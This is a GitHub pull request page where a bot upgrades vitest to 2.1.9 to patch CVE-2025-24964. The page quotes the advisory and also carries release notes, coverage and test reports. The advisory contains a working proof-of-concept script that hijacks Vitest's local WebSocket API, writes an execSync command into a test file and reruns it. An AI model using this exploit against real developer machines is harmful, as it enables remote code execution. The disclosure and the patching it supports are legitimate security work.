Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.1.42.1.9 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov
Copy link

codecov bot commented Feb 4, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 18.35%. Comparing base (222042a) to head (9752547).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #1324   +/-   ##
=======================================
  Coverage   18.35%   18.35%           
=======================================
  Files         454      454           
  Lines       74865    74866    +1     
  Branches     1594     1597    +3     
=======================================
+ Hits        13743    13745    +2     
+ Misses      61122    61121    -1     
Flag Coverage Δ
unitTests 18.35% <ø> (+<0.01%) ⬆️

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from 8cecf01 to 7197108 Compare February 12, 2025 20:33
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7197108 to 0738b9c Compare February 14, 2025 17:45
@github-actions
Copy link

github-actions bot commented Feb 14, 2025

Playwright test results

failed  2 failed
skipped  5 skipped

Details

stats  7 tests across 4 suites
duration  18 minutes, 6 seconds
commit  9752547

Failed tests

chromium-setup › auth.setup.ts › authenticate as user - ( @primary @slow @read @development @staging @production )
chromium-setup › auth.setup.ts › authenticate as admin - ( @primary @slow @read @development @staging @production )

Skipped tests

chromium › authentication.test.ts › Authentication › should load unauthorized routes as expected with and without authentication - ( @slow @primary @development @staging @production )
chromium › authentication.test.ts › Authentication › should redirect from login related unauthorized pages with existing session - ( @slow @primary @development @staging @production )
chromium › basic.test.ts › should have valid title & url - ( @fast @primary @read @development @staging @production )
chromium › basic.test.ts › should have valid localizations - ( @fast @primary @read @development @staging @production )
chromium › pages/dashboard.test.ts › DashboardPage › should have data-testids - ( @fast @primary @read @development @staging @production )

@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3647e89 to a33675f Compare February 21, 2025 20:48
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 0c3a2fa to c931d62 Compare March 4, 2025 02:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 3d9075b to 2444876 Compare March 17, 2025 18:51
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 6060384 to a82de68 Compare April 1, 2025 12:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from a82de68 to d2ea6c8 Compare April 8, 2025 14:23
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 95bf1f8 to 1a06930 Compare April 29, 2025 16:54
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 50e123a to 42c2465 Compare May 9, 2025 13:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 8 times, most recently from 4325901 to ecfb807 Compare May 16, 2025 13:56
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from f5e4783 to d2c83bf Compare August 14, 2025 06:42
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 7 times, most recently from 517455a to aebb859 Compare August 22, 2025 19:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 86356c4 to f6ef132 Compare August 31, 2025 11:01
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from b4ecfd6 to 1135747 Compare September 12, 2025 19:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 4 times, most recently from 4b9e631 to ee923c3 Compare September 23, 2025 01:46
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 5579746 to dac6bbf Compare September 29, 2025 17:48
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 42c235b to f10aa32 Compare October 7, 2025 15:35
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f10aa32 to 94c2d5f Compare October 21, 2025 17:16
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 94c2d5f to 9efa546 Compare November 10, 2025 20:45
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 9efa546 to 3e9f071 Compare November 18, 2025 10:52
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3e9f071 to 3c50660 Compare December 31, 2025 16:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3c50660 to 9752547 Compare January 8, 2026 18:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant